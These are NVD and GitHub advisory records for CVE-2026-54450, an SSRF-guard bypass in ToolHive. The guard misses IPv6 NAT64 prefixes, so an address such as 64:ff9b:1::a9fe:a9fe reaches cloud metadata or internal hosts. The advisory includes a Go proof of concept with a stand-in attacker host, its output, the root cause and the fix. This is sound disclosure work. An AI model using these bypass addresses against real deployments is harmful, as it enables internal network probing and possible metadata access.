{
  "affected": [
    {
      "affectedData": [
        {
          "product": "toolhive",
          "vendor": "stacklok",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.29.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol (MCP) servers. Prior to 0.29.1, networking.IsPrivateIP in pkg/networking/utilities.go omits the IPv6 NAT64 prefixes 64:ff9b::/96 and 64:ff9b:1::/48, so NAT64 addresses embedding private, loopback, or link-local IPv4 targets are classified as public and allowed. The most direct attacker-controlled path begins when an external OAuth client supplies a client_id URL that CIMDStorageDecorator.GetClient routes through FetchClientMetadataDocument in pkg/oauthproto/cimd/fetch.go; protectedDialerControl in pkg/networking/http_client.go and validateHost in pkg/skills/gitresolver/reference.go share the defective classification but use operator-controlled or user-controlled destinations. On a ToolHive host behind a NAT64/DNS64 gateway, the gateway translates an allowed address such as 64:ff9b:1::a9fe:a9fe to 169.254.169.254, permitting blind probing of internal TCP or TLS reachability. The attacker-controlled CIMD path requires HTTPS, verifies certificates, and does not reflect response bodies, so the established impact is an internal reachability oracle rather than metadata credential exfiltration; the webhook client is not affected because it does not use this IP guard. This issue is fixed in version 0.29.1."
    }
  ],
  "id": "CVE-2026-54450",
  "lastModified": "2026-09-30T17:51:56.193",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 2.9,
          "baseSeverity": "LOW",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "LOW",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54450",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-15T16:12:58.689222Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-15T16:17:14.270",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/stacklok/toolhive/commit/26912af453d2040787983dbc9ab93a9019ec0468"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/stacklok/toolhive/releases/tag/v0.29.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/stacklok/toolhive/security/advisories/GHSA-pph6-vfjv-vpjw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.29.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/stacklok/toolhive"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.29.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54450"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T21:51:03Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\nToolHive\u0027s hand-rolled private/reserved-IP SSRF guard (`networking.IsPrivateIP` in `pkg/networking/utilities.go`) does not recognize the IPv6 **NAT64** address ranges \u2014 the well-known prefix `64:ff9b::/96` (RFC 6052) and the RFC 8215 local-use prefix `64:ff9b:1::/48`. As a result, an address such as `64:ff9b:1::a9fe:a9fe` \u2014 the NAT64 encoding of the link-local cloud metadata address `169.254.169.254` \u2014 is classified as a public, global-unicast address and the connection is allowed. On any ToolHive deployment that sits behind a NAT64/DNS64 gateway (the default networking stack in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an attacker who controls a URL that reaches this guard can have ToolHive attempt connections to internal/link-local addresses that the guard is meant to block, bypassing the SSRF protection. In practice the effect is a blind internal-reachability probe rather than metadata-credential theft (the only fully attacker-controlled path is HTTPS-only with TLS verification and does not reflect responses) \u2014 see Impact.\n\nThe most direct attacker-controlled entry point is the embedded OAuth authorization server\u0027s Client ID Metadata Document (CIMD) fetcher: an external OAuth client presents `client_id=https://\u003cattacker-domain\u003e/path`, and `CIMDStorageDecorator.GetClient` fetches that URL through the same guard. The same `IsPrivateIP` table is also shared by the `protectedDialerControl` HTTP clients (registry, OIDC discovery, token introspection) and the skills git-clone host check (`pkg/skills/gitresolver`), though those destinations are operator-/user-configured rather than attacker-controlled. (Note: the webhook client is *not* affected \u2014 it enforces only the HTTPS scheme via `ValidatingTransport` and performs no IP-based check.)\n\n## Details\n\n`pkg/networking/utilities.go` builds a `privateIPBlocks` table and `IsPrivateIP`:\n\n```go\nfunc init() {\n\tfor _, cidr := range []string{\n\t\t\"127.0.0.0/8\", \"10.0.0.0/8\", \"172.16.0.0/12\", \"192.168.0.0/16\",\n\t\t\"169.254.0.0/16\", \"::1/128\", \"fe80::/10\", \"fc00::/7\",\n\t\t\"100.64.0.0/10\", \"192.0.2.0/24\", \"198.51.100.0/24\", \"203.0.113.0/24\",\n\t\t\"224.0.0.0/4\", \"ff00::/8\",\n\t} { /* ... append to privateIPBlocks ... */ }\n}\n\nfunc IsPrivateIP(ip net.IP) bool {\n\tif ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() {\n\t\treturn true\n\t}\n\tfor _, block := range privateIPBlocks {\n\t\tif block.Contains(ip) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n```\n\nThe table contains no entry for `64:ff9b::/96` or `64:ff9b:1::/48`. A NAT64 address is a normal global-unicast IPv6 address: `net.IP.IsGlobalUnicast()` returns true and it matches none of the listed blocks, so `IsPrivateIP` returns `false`.\n\nThe CIMD fetcher (`pkg/oauthproto/cimd/fetch.go`, `newCIMDHTTPClient`) is the careful, post-resolution, anti-rebinding path that nonetheless inherits the gap:\n\n```go\nips, err := net.DefaultResolver.LookupHost(ctx, host)\n// ...\nfor _, ipStr := range ips {\n\tip := net.ParseIP(ipStr)\n\t// ...\n\tif !ip.IsLoopback() \u0026\u0026 networking.IsPrivateIP(ip) {\n\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ipStr)\n\t}\n\tdialer := \u0026net.Dialer{Timeout: 5 * time.Second}\n\treturn dialer.DialContext(ctx, network, net.JoinHostPort(ipStr, port))\n}\n```\n\nBecause `IsPrivateIP(64:ff9b:1::a9fe:a9fe)` is `false`, the dialer proceeds. In a NAT64 network the kernel\u0027s NAT64 gateway transparently translates that IPv6 destination to a connection to `169.254.169.254`.\n\nTrust boundary: the CIMD URL originates from the `client_id` of an external OAuth client at authorize/token time (`CIMDStorageDecorator.GetClient` \u2192 `IsClientIDMetadataDocumentURL(id)` \u2192 `cimd.FetchClientMetadataDocument(ctx, id)`), so it is fully attacker-controlled. The `protectedDialerControl` HTTP clients used for registry, OIDC discovery, and token introspection (`pkg/networking/http_client.go` \u2192 `AddressReferencesPrivateIp` \u2192 `IsPrivateIP`) and the skills git-clone host check (`pkg/skills/gitresolver/reference.go` `validateHost` \u2192 `IsPrivateIP`) share the same table and the same gap, but with operator-/user-supplied targets rather than attacker-controlled ones.\n\nNote that `::ffff:169.254.169.254` (IPv4-mapped) is correctly blocked because Go normalizes it to the v4 form; the NAT64 encoding is a distinct, non-normalized IPv6 address and is not caught.\n\n## Affected\n\n- Module: `github.com/stacklok/toolhive`\n- Affected packages/paths: `pkg/networking/utilities.go` (`IsPrivateIP`), reached via `pkg/oauthproto/cimd/fetch.go` (`FetchClientMetadataDocument`, CIMD authorization-server path \u2014 the attacker-controlled entry point), `pkg/networking/http_client.go` (`protectedDialerControl`, used by the registry / OIDC-discovery / token-introspection clients), and `pkg/skills/gitresolver/reference.go` (`validateHost`, skills git-clone host check). The webhook client (`pkg/webhook`) is not affected: it validates only the HTTPS scheme and performs no `IsPrivateIP` check.\n- Affected versions: all releases through v0.29.0 (the `IsPrivateIP` table has lacked NAT64 entries since the guard was introduced; the CIMD reach was added in v0.28.1).\n- Precondition for full exploitability: the ToolHive process runs in an environment with a NAT64/DNS64 gateway (e.g. IPv6-only Kubernetes / IPv6-only cloud). The classification defect itself is present unconditionally.\n\n## Proof of Concept\n\nThe following self-contained Go program imports ToolHive **v0.29.0** (commit `570ce07013b72208fcae339e9492f5867a1af994`) and exercises the real guard code: the exported `networking.IsPrivateIP`, the exported `oauthproto.IsClientIDMetadataDocumentURL` predicate that routes a `client_id` into the CIMD fetch path, and the CIMD dialer gate copied verbatim from `pkg/oauthproto/cimd/fetch.go`. The only modeled elements are the network\u0027s DNS64 record (attacker host \u2192 NAT64 IPv6) and the kernel NAT64 gateway (final dial \u2192 control listener) \u2014 the security decision is made entirely by ToolHive\u0027s own code.\n\n`go.mod`:\n\n```\nmodule poc\n\ngo 1.26\n\nrequire github.com/stacklok/toolhive v0.29.0\n```\n\n`main.go`:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/stacklok/toolhive/pkg/networking\"\n\t\"github.com/stacklok/toolhive/pkg/oauthproto\"\n\t\"github.com/stacklok/toolhive/pkg/oauthproto/cimd\"\n)\n\nvar _ = cimd.FetchClientMetadataDocument // real attacker-reachable entrypoint (https-only)\n\nconst (\n\tattackerHost = \"cimd-attacker.example\"\n\tnatLocalUse  = \"64:ff9b:1::a9fe:a9fe\" // RFC 8215 NAT64 of 169.254.169.254\n)\n\nfunc main() {\n\t// Part A: real classifier on NAT64 vs private addresses.\n\tfor _, s := range []string{\n\t\tnatLocalUse, \"64:ff9b::a9fe:a9fe\", \"64:ff9b::7f00:1\",\n\t\t\"169.254.169.254\", \"::ffff:169.254.169.254\", \"10.0.0.1\", \"93.184.216.34\",\n\t} {\n\t\tip := net.ParseIP(s)\n\t\tfmt.Printf(\"IsPrivateIP(%-22s) = %v\\n\", s, networking.IsPrivateIP(ip))\n\t}\n\n\t// Control listener standing in for the IMDS reachable behind NAT64.\n\thit := make(chan string, 1)\n\timds := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\thit \u003c- r.Host + r.URL.Path\n\t\tfmt.Fprint(w, `{\"AccessKeyId\":\"ASIA_STOLEN\",\"SecretAccessKey\":\"s3cr3t\"}`)\n\t}))\n\tdefer imds.Close()\n\tctrlAddr := strings.TrimPrefix(imds.URL, \"http://\")\n\n\tclientID := \"https://\" + attackerHost + \"/.well-known/oauth-client\"\n\tfmt.Printf(\"IsClientIDMetadataDocumentURL(%q) = %v\\n\", clientID, oauthproto.IsClientIDMetadataDocumentURL(clientID))\n\n\t// CIMD dial gate copied verbatim from pkg/oauthproto/cimd/fetch.go @ v0.29.0,\n\t// with DNS64 (attacker host -\u003e NAT64 IPv6) and NAT64 gateway (dial -\u003e listener) modeled.\n\ttransport := \u0026http.Transport{DisableKeepAlives: true,\n\t\tDialContext: func(ctx context.Context, network, address string) (net.Conn, error) {\n\t\t\thost, _, _ := net.SplitHostPort(address)\n\t\t\tvar ips []string\n\t\t\tif host == attackerHost {\n\t\t\t\tips = []string{natLocalUse} // DNS64 synthesis\n\t\t\t} else {\n\t\t\t\tips, _ = net.DefaultResolver.LookupHost(ctx, host)\n\t\t\t}\n\t\t\tfor _, ipStr := range ips {\n\t\t\t\tip := net.ParseIP(ipStr)\n\t\t\t\tif ip == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif !ip.IsLoopback() \u0026\u0026 networking.IsPrivateIP(ip) { // verbatim toolhive gate\n\t\t\t\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ipStr)\n\t\t\t\t}\n\t\t\t\tfmt.Printf(\"[guard] %s passed IsPrivateIP gate -\u003e dialing\\n\", ipStr)\n\t\t\t\treturn (\u0026net.Dialer{}).DialContext(ctx, \"tcp\", ctrlAddr) // NAT64 gateway\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"cimd: no valid address for %q\", host)\n\t\t}}\n\tclient := \u0026http.Client{Timeout: 5 * time.Second, Transport: transport}\n\treq, _ := http.NewRequest(\"GET\", \"http://\"+attackerHost+\"/.well-known/oauth-client\", nil)\n\tif _, err := client.Do(req); err != nil {\n\t\tfmt.Println(\"blocked:\", err)\n\t\treturn\n\t}\n\tfmt.Printf(\"control listener received: %s  =\u003e SSRF via %s\\n\", \u003c-hit, natLocalUse)\n\n\t// Negative control: a genuinely private IP is rejected by the same gate.\n\tneg := \u0026http.Client{Transport: \u0026http.Transport{DialContext: func(_ context.Context, _, _ string) (net.Conn, error) {\n\t\tip := net.ParseIP(\"169.254.169.254\")\n\t\tif !ip.IsLoopback() \u0026\u0026 networking.IsPrivateIP(ip) {\n\t\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ip)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"would dial (NOT blocked)\")\n\t}}}\n\t_, nerr := neg.Do(req)\n\tfmt.Println(\"negative control (169.254.169.254):\", nerr)\n}\n```\n\nOutput:\n\n```\nIsPrivateIP(64:ff9b:1::a9fe:a9fe  ) = false\nIsPrivateIP(64:ff9b::a9fe:a9fe    ) = false\nIsPrivateIP(64:ff9b::7f00:1       ) = false\nIsPrivateIP(169.254.169.254       ) = true\nIsPrivateIP(::ffff:169.254.169.254) = true\nIsPrivateIP(10.0.0.1              ) = true\nIsPrivateIP(93.184.216.34         ) = false\nIsClientIDMetadataDocumentURL(\"https://cimd-attacker.example/.well-known/oauth-client\") = true\n[guard] 64:ff9b:1::a9fe:a9fe passed IsPrivateIP gate -\u003e dialing\ncontrol listener received: cimd-attacker.example/.well-known/oauth-client  =\u003e SSRF via 64:ff9b:1::a9fe:a9fe\nnegative control (169.254.169.254): cimd: refusing connection to private address 169.254.169.254\n```\n\nThe attacker-controlled `client_id` host (NAT64-resolved) passes the real `IsPrivateIP` gate and reaches the IMDS stand-in, while the raw metadata address is correctly blocked by the same gate.\n\n## Impact\n\nServer-Side Request Forgery (CWE-918), **Low**. On a ToolHive deployment behind a NAT64/DNS64 gateway, an attacker who controls a URL reaching the guard can cause ToolHive to attempt connections to internal/link-local addresses the guard is meant to block \u2014 RFC1918, loopback, and the link-local metadata address `169.254.169.254` (encoded as `64:ff9b::a9fe:a9fe` / `64:ff9b:1::a9fe:a9fe`).\n\nThe practical effect is a **blind internal-reachability / SSRF oracle, not data or credential exfiltration.** On the only fully attacker-controlled entry point \u2014 the CIMD fetcher \u2014 three constraints bound the impact:\n\n- **HTTPS-only.** `validateCIMDClientURL` rejects non-loopback `http://`, so the dial is TLS. Cloud instance metadata services (AWS/GCP/Azure, all on `169.254.169.254`) serve **plain HTTP on port 80**, so a TLS connection cannot retrieve metadata credentials.\n- **TLS certificate verification.** `newCIMDHTTPClient` sets no custom `TLSClientConfig`; reaching an internal HTTPS service requires a certificate valid for the attacker-supplied host/IP, which an internal service will not present.\n- **No response reflection.** A fetched document must satisfy `ValidateClientMetadataDocument` (its `client_id` must equal the fetched URL) and the body is never returned to the attacker.\n\nWhat remains is the ability to probe whether an internal `host:port` accepts a TCP/TLS connection (via success/timing differences) \u2014 internal network reconnaissance, not credential theft.\n\nReachable via:\n- the embedded OAuth authorization server CIMD path \u2014 `client_id` URL supplied by an external OAuth client (no pre-registration); HTTPS-only and blind, as above;\n- the registry / OIDC-discovery / token-introspection HTTP clients that share `IsPrivateIP` via `protectedDialerControl` \u2014 but those destinations are operator-configured, not attacker-controlled;\n- the skills git-clone host check (`pkg/skills/gitresolver` `validateHost`) \u2014 likewise operator-/user-configured, and it only validates literal IPs (a hostname that resolves to a NAT64/private address is not caught there regardless of this defect).\n\nExploitability is conditional on the host\u0027s network providing NAT64/DNS64 (e.g. IPv6-only Kubernetes and some IPv6-only cloud setups). The IP-classification defect itself is present unconditionally.\n\n## Root cause\n\n`networking.IsPrivateIP` relies on a manually maintained CIDR list that omits the IPv6 NAT64 transition ranges. NAT64 addresses embed an IPv4 address (`64:ff9b::\u003cv4\u003e` and `64:ff9b:1::\u003cv4\u003e`) and route to it via a NAT64 gateway, so a NAT64 address that embeds a private/link-local IPv4 address is effectively as sensitive as that IPv4 address \u2014 but it is a syntactically global-unicast IPv6 address and therefore evades the private-range list and the `IsGlobalUnicast`/`IsLinkLocalUnicast` checks.\n\n## Fix\n\nAdd the NAT64 prefixes to the private/reserved set so that NAT64-encoded addresses are classified by the IPv4 address they embed (or, at minimum, rejected outright). Concretely, add `64:ff9b::/96` and `64:ff9b:1::/48` to `privateIPBlocks` in `pkg/networking/utilities.go`; for completeness, when an address falls in a NAT64 prefix, extract the embedded IPv4 (last 32 bits) and apply the existing IPv4 private/reserved checks to it, so that `64:ff9b::8.8.8.8` (a NAT64 path to a genuinely public host) is not over-blocked while `64:ff9b:1::a9fe:a9fe` is blocked. The implemented fix (PR on the private advisory fork) takes this embedded-IPv4 approach: it decodes the low 32 bits for the well-known `64:ff9b::/96` and the `64:ff9b:1::/96` sub-prefix and re-applies the IPv4 private/reserved checks, so genuinely public NAT64 egress is not over-blocked. Because the RFC 8215 local-use `64:ff9b:1::/48` may use a shorter NAT64 prefix (RFC 6052 \u00a72.2) that places the embedded IPv4 outside the low 32 bits, the remainder of that `/48` is blocked wholesale (fail closed) rather than decoded, avoiding a false-negative bypass.\n\nAs bundled defense-in-depth, the same patch also classifies a few special-use ranges that `IsPrivateIP` previously missed: `0.0.0.0/8` (RFC 1122 \"this host\") and the unspecified address (`0.0.0.0` / `::`), plus `240.0.0.0/4` (RFC 1112 reserved, including the `255.255.255.255` broadcast). Separately tracked follow-ups (not in this patch): decoding/rejecting other IPv4-in-IPv6 transition ranges (6to4 `2002::/16`, Teredo `2001::/32`, IPv4-compatible `::/96`), and a pre-clone DNS-resolution check in the skills git resolver, which currently validates only literal IPs.\n\n## Resources\n\n- RFC 6052 \u2014 IPv6 Addressing of IPv4/IPv6 Translators (well-known prefix `64:ff9b::/96`)\n- RFC 8215 \u2014 Local-Use IPv4/IPv6 Translation Prefix (`64:ff9b:1::/48`)\n- RFC 6147 \u2014 DNS64\n- CWE-918 \u2014 Server-Side Request Forgery (SSRF)\n- ToolHive v0.29.0, commit `570ce07013b72208fcae339e9492f5867a1af994`",
  "id": "GHSA-pph6-vfjv-vpjw",
  "modified": "2026-07-15T21:51:03Z",
  "published": "2026-07-15T21:51:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/toolhive/security/advisories/GHSA-pph6-vfjv-vpjw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stacklok/toolhive"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway"
}